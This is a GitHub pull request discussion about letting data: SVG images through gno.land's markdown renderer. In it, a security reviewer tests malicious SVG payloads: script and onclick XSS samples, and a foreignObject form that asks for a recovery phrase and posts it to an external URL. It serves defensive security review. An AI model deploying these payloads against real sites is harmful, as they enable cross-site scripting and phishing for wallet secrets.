Skip to content

fix: svg image not showing up #4152

New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Open
wants to merge 5 commits into
base: master
Choose a base branch
from

Conversation

gfanton
Copy link
Member

@gfanton gfanton commented Apr 15, 2025

Since data:image/svg+xml is not fully supported as a CSP rule (only data: is supported), this PR introduces a markdown extension that filters out images containing data: sources, except for image/svg+xml, by removing the image source.

@github-actions github-actions bot added the 📦 ⛰️ gno.land Issues or PRs gno.land package related label Apr 15, 2025
@Gno2D2 Gno2D2 requested a review from alexiscolin April 15, 2025 07:28
@Gno2D2
Copy link
Collaborator

Gno2D2 commented Apr 15, 2025

🛠 PR Checks Summary

🔴 Changes related to gnoweb must be reviewed by its codeowners

Manual Checks (for Reviewers):
  • IGNORE the bot requirements for this PR (force green CI check)
Read More

🤖 This bot helps streamline PR reviews by verifying automated checks and providing guidance for contributors and reviewers.

✅ Automated Checks (for Contributors):

🟢 Maintainers must be able to edit this pull request (more info)
🔴 Changes related to gnoweb must be reviewed by its codeowners

☑️ Contributor Actions:
  1. Fix any issues flagged by automated checks.
  2. Follow the Contributor Checklist to ensure your PR is ready for review.
    • Add new tests, or document why they are unnecessary.
    • Provide clear examples/screenshots, if necessary.
    • Update documentation, if required.
    • Ensure no breaking changes, or include BREAKING CHANGE notes.
    • Link related issues/PRs, where applicable.
☑️ Reviewer Actions:
  1. Complete manual checks for the PR, including the guidelines and additional checks if applicable.
📚 Resources:
Debug
Automated Checks
Maintainers must be able to edit this pull request (more info)

If

🟢 Condition met
└── 🟢 And
    ├── 🟢 The base branch matches this pattern: ^master$
    └── 🟢 The pull request was created from a fork (head branch repo: gfanton/gno)

Then

🟢 Requirement satisfied
└── 🟢 Maintainer can modify this pull request

Changes related to gnoweb must be reviewed by its codeowners

If

🟢 Condition met
└── 🟢 And
    ├── 🟢 The base branch matches this pattern: ^master$
    └── 🟢 A changed file matches this pattern: ^gno.land/pkg/gnoweb/ (filename: gno.land/pkg/gnoweb/markdown/context.go)

Then

🔴 Requirement not satisfied
└── 🔴 Or
    ├── 🔴 Or
    │   ├── 🔴 And
    │   │   ├── 🔴 Pull request author is user: alexiscolin
    │   │   └── 🔴 This user reviewed pull request: gfanton (with state "APPROVED")
    │   └── 🔴 And
    │       ├── 🟢 Pull request author is user: gfanton
    │       └── 🔴 This user reviewed pull request: alexiscolin (with state "APPROVED")
    └── 🔴 And
        ├── 🟢 Not (🔴 Pull request author is user: alexiscolin)
        ├── 🔴 Not (🟢 Pull request author is user: gfanton)
        └── 🔴 Or
            ├── 🔴 This user reviewed pull request: alexiscolin (with state "APPROVED")
            └── 🔴 This user reviewed pull request: gfanton (with state "APPROVED")

Manual Checks
**IGNORE** the bot requirements for this PR (force green CI check)

If

🟢 Condition met
└── 🟢 On every pull request

Can be checked by

  • Any user with comment edit permission

Copy link
Member

@moul moul left a comment

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

LGTM, but could you please check as well, @kristovatlas?

@moul moul requested a review from kristovatlas April 15, 2025 07:28
Copy link

codecov bot commented Apr 15, 2025

Codecov Report

Attention: Patch coverage is 87.71930% with 7 lines in your changes missing coverage. Please review.

Files with missing lines Patch % Lines
gno.land/pkg/gnoweb/webclient_html.go 63.63% 3 Missing and 1 partial ⚠️
gno.land/pkg/gnoweb/markdown/ext_imgvalidator.go 85.00% 2 Missing and 1 partial ⚠️

📢 Thoughts on this report? Let us know!

@Kouteki Kouteki moved this from Triage to In Review in 🧙‍♂️gno.land core team Apr 15, 2025
Copy link
Member

@thehowl thehowl left a comment

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

pre-approving.

@kristovatlas
Copy link
Contributor

kristovatlas commented Apr 16, 2025

I need to do some testing here with malicious SVGs to see how the parser deals with them...

@kristovatlas
Copy link
Contributor

Do we want to place any restrictions on animated SVGs? I'm wondering if these can be leveraged to mislead users. Example:

<svg xmlns="http://www.w3.org/2000/svg" width="400" height="100">
	  <text x="0" y="50" font-size="30" fill="black">
	    Click Here
	    <animate attributeName="x" from="0" to="300" dur="2s" repeatCount="indefinite" />
	  </text>
	</svg>

 =>

![svg image](data:image/svg+xml;base64,PHN2ZyB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHdpZHRoPSI0MDAiIGhlaWdodD0iMTAwIj4KICA8dGV4dCB4PSIwIiB5PSI1MCIgZm9udC1zaXplPSIzMCIgZmlsbD0iYmxhY2siPgogICAgQ2xpY2sgSGVyZQogICAgPGFuaW1hdGUgYXR0cmlidXRlTmFtZT0ieCIgZnJvbT0iMCIgdG89IjMwMCIgZHVyPSIycyIgcmVwZWF0Q291bnQ9ImluZGVmaW5pdGUiIC8+CiAgPC90ZXh0Pgo8L3N2Zz4=)

@kristovatlas
Copy link
Contributor

I tested 3 types of malicious SVG files:
a) xss
b) css emulating trusted UI
c) css interfering with trusted UI through positional abuse

attempts:

  1. xss using <script>:
<svg xmlns="http://www.w3.org/2000/svg">
  <script>
    alert('XSS from SVG!');
  </script>
</svg>

url-encoded:

<img src="data:image/svg+xml,%3Csvg%20xmlns%3D%22http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg%22%3E%0A%20%20%3Cscript%3E%0A%20%20%20%20alert%28%27XSS%20from%20SVG%21%27%29%3B%0A%20%20%3C%2Fscript%3E%0A%3C%2Fsvg%3E">

This will not be rendered in any major modern browsers, as they all block scripts inside SVGs when loaded via data: URLs, especially when used in an <img> tag.

  1. xss using onclick:
<svg xmlns="http://www.w3.org/2000/svg">
  <rect width="100" height="100" fill="red" onclick="alert('xss')" />
</svg>

url-encoded:

<img src="data:image/svg+xml,%3Csvg%20xmlns%3D%22http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg%22%3E%0A%20%20%3Crect%20width%3D%22100%22%20height%3D%22100%22%20fill%3D%22red%22%20onclick%3D%22alert%28%27xss%27%29%22%20%2F%3E%0A%3C%2Fsvg%3E">

Blocked for the same reason, although it's worth noting that if you opened the data: url directly in the browser you will get a popup.

  1. css emulating trusted UI:
<svg xmlns="http://www.w3.org/2000/svg" width="400" height="200">
				  <style>
				    .form-container {
				      font-family: sans-serif;
				    }

				    .form-container input[type="text"] {
				      padding: 6px;
				      margin: 4px 0;
				      width: 90%;
				    }

				    .form-container input[type="submit"] {
				      padding: 6px 12px;
				      background-color: #007bff;
				      color: white;
				      border: none;
				      cursor: pointer;
				    }

				    .form-container input[type="submit"]:hover {
				      background-color: #0056b3;
				    }
				  </style>

				  <foreignObject x="10" y="10" width="380" height="180">
				    <div xmlns="http://www.w3.org/1999/xhtml" class="form-container">
				      <form method="POST" action="https://httpbin.org/post" target="_blank">
				        <label>Enter your recovery phrase:</label><br/>
				        <input type="text" name="user_input" /><br/>
				        <input type="submit" value="Submit" />
				      </form>
				    </div>
				  </foreignObject>
				</svg>

url-encoded:

<img src="data:image/svg+xml,%3Csvg%20xmlns%3D%22http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg%22%20width%3D%22400%22%20height%3D%22200%22%3E%0A%09%09%09%09%20%20%3Cstyle%3E%0A%09%09%09%09%20%20%20%20.form-container%20%7B%0A%09%09%09%09%20%20%20%20%20%20font-family%3A%20sans-serif%3B%0A%09%09%09%09%20%20%20%20%7D%0A%0A%09%09%09%09%20%20%20%20.form-container%20input%5Btype%3D%22text%22%5D%20%7B%0A%09%09%09%09%20%20%20%20%20%20padding%3A%206px%3B%0A%09%09%09%09%20%20%20%20%20%20margin%3A%204px%200%3B%0A%09%09%09%09%20%20%20%20%20%20width%3A%2090%25%3B%0A%09%09%09%09%20%20%20%20%7D%0A%0A%09%09%09%09%20%20%20%20.form-container%20input%5Btype%3D%22submit%22%5D%20%7B%0A%09%09%09%09%20%20%20%20%20%20padding%3A%206px%2012px%3B%0A%09%09%09%09%20%20%20%20%20%20background-color%3A%20%23007bff%3B%0A%09%09%09%09%20%20%20%20%20%20color%3A%20white%3B%0A%09%09%09%09%20%20%20%20%20%20border%3A%20none%3B%0A%09%09%09%09%20%20%20%20%20%20cursor%3A%20pointer%3B%0A%09%09%09%09%20%20%20%20%7D%0A%0A%09%09%09%09%20%20%20%20.form-container%20input%5Btype%3D%22submit%22%5D%3Ahover%20%7B%0A%09%09%09%09%20%20%20%20%20%20background-color%3A%20%230056b3%3B%0A%09%09%09%09%20%20%20%20%7D%0A%09%09%09%09%20%20%3C%2Fstyle%3E%0A%0A%09%09%09%09%20%20%3CforeignObject%20x%3D%2210%22%20y%3D%2210%22%20width%3D%22380%22%20height%3D%22180%22%3E%0A%09%09%09%09%20%20%20%20%3Cdiv%20xmlns%3D%22http%3A%2F%2Fwww.w3.org%2F1999%2Fxhtml%22%20class%3D%22form-container%22%3E%0A%09%09%09%09%20%20%20%20%20%20%3Cform%20method%3D%22POST%22%20action%3D%22https%3A%2F%2Fhttpbin.org%2Fpost%22%20target%3D%22_blank%22%3E%0A%09%09%09%09%20%20%20%20%20%20%20%20%3Clabel%3EEnter%20your%20recovery%20phrase%3A%3C%2Flabel%3E%3Cbr%2F%3E%0A%09%09%09%09%20%20%20%20%20%20%20%20%3Cinput%20type%3D%22text%22%20name%3D%22user_input%22%20%2F%3E%3Cbr%2F%3E%0A%09%09%09%09%20%20%20%20%20%20%20%20%3Cinput%20type%3D%22submit%22%20value%3D%22Submit%22%20%2F%3E%0A%09%09%09%09%20%20%20%20%20%20%3C%2Fform%3E%0A%09%09%09%09%20%20%20%20%3C%2Fdiv%3E%0A%09%09%09%09%20%20%3C%2FforeignObject%3E%0A%09%09%09%09%3C%2Fsvg%3E">

In the browser, this is rendered as a static image that can't be interacted with. <img> treats its source as a bitmap image, not as live, interactive DOM content. Even though the source is an SVG (which can contain forms or scripts), it's rendered in a sandboxed, non-interactive way. No scripting, form inputs, or even CSS interactivity (like hover effects) will work in this context.

  1. css position abuse:
				<div>This is a trusted area</div>
				<div>
					<svg xmlns="http://www.w3.org/2000/svg" width="100%" height="100%">
					  <style>
					    .top-left {
					      position: absolute;
					      top: 0;
					      left: 0;
					      font-family: sans-serif;
					      font-size: 20px;
					      background: rgba(255, 255, 255, 0.7);
					      padding: 8px;
					    }
					  </style>

					  <foreignObject x="0" y="0" width="100%" height="100%">
					    <div xmlns="http://www.w3.org/1999/xhtml" class="top-left">
					      Hello from the top-left corner!
					    </div>
					  </foreignObject>
					</svg>
				</div>

This text won't overlap, because modern browsers prevent this from positionally busting out of its intended location.

So we should be fine with all of the kinds of attacks, except perhaps in older browsers, which I don't think we should worry about.

SVGs have been used in 0day browser exploits, but so have other image formats, so I don't think they present a unique threat.

@thehowl
Copy link
Member

thehowl commented Apr 18, 2025

Do we want to place any restrictions on animated SVGs? I'm wondering if these can be leveraged to mislead users. Example:

I'm figuring a case like an attack like re-creating the Adena UI in SVG and trying to trick the user; like the kind of ads that existed many years ago which would display a window in the same style as used by Windows. Though the fact is that our restrictions disable all kinds of interactivity, so I wonder what kind of attack could be created with a link?

Maybe one thing we should do, is that our current system to warn users about links using symbols, should become a warning modal when they click on an image which has a link. cc @alexiscolin (like "You are clicking on an (external|realm|...) link... do you want to do this?").

@kristovatlas
Copy link
Contributor

kristovatlas commented Apr 18, 2025

I was about to show a screenshot of YouTube's redirect warning as an example, except they no longer warn people for all links. They have a youtube.com/redirect URL that you go to first, and then that usually automatically brings you to the external website. This is because they're doing some filtering for malicious links on the backend among other things, but we probably can't tackle that any time soon.

Edit: After a survey of various popular websites, it seems the redirect warning is kind of rare now. They're all doing some sort of backend scoring that results in most external links not prompting a warning. You will see on some sites like Wikipedia a little icon next to a link to an external link.

@alexiscolin
Copy link
Member

All links within the rendered Markdown now include an icon (external, cross-realm, tx). The icon was previously broken when used with images, but I pushed a UI fix last week that places the link icon directly on the image.
You can check the screenshot here: #4181

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
📦 ⛰️ gno.land Issues or PRs gno.land package related
Projects
Status: In Progress
Status: In Review
Development

Successfully merging this pull request may close these issues.

6 participants